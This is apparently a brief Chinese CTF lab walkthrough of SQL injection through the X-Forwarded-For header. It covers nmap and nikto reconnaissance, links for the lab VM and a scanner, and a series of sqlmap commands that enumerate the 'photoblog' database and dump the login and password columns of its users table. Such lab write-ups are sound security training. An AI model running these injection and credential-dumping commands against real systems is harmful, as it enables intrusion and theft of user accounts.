CTF-sql注入(X-Forwarded-For)【简单易懂】

目录 环境配置 信息探测 AWVS漏洞扫描 漏洞利用 扫描数据库 扫描表名 扫描字段值 扫描用户名和密码 环境配置 kali 192.168.20.128 靶机 192.168.20.132 链接：https://pan.baidu.com/s/1vUYqkBnWkrfXvdC99nOsSQ  提取码：4p7w  信息探测 nmap -sV ip nmap -A -v ip  nikto -host http://ip 探 0 Comments

目录

环境配置

信息探测

AWVS漏洞扫描

漏洞利用

扫描数据库

扫描表名

扫描字段值

扫描用户名和密码

环境配置

kali 192.168.20.128

靶机 192.168.20.132

链接：https://pan.baidu.com/s/1vUYqkBnWkrfXvdC99nOsSQ 
提取码：4p7w 

信息探测

nmap -sV ip

nmap -A -v ip

 nikto -host http://ip 探测敏感信息

AWVS漏洞扫描

链接：https://pan.baidu.com/s/1o_2nXdQOuDFE8jI1uQdPiw 
提取码：jsdx 

漏洞利用

扫描数据库

sqlmap -u "http://192.168.20.132" --headers="X-Forwarded-For:*" --dbs --batch

扫描表名

sqlmap -u "http://192.168.20.132" --headers="X-Forwarded-For:*" -D "photoblog" --tables --batch

扫描字段值

sqlmap -u "http://192.168.20.132" --headers="X-Forwarded-For:*" -D "photoblog" -T "users" --columns --batch

扫描用户名和密码

sqlmap -u "http://192.168.20.132" --headers="X-Forwarded-For:*" -D "photoblog" -T "users" -C 'login,password' --dump --batch

本文链接：https://my.lmcjl.com/post/1915.html

展开阅读全文

相关文章

4 评论

留下您的评论.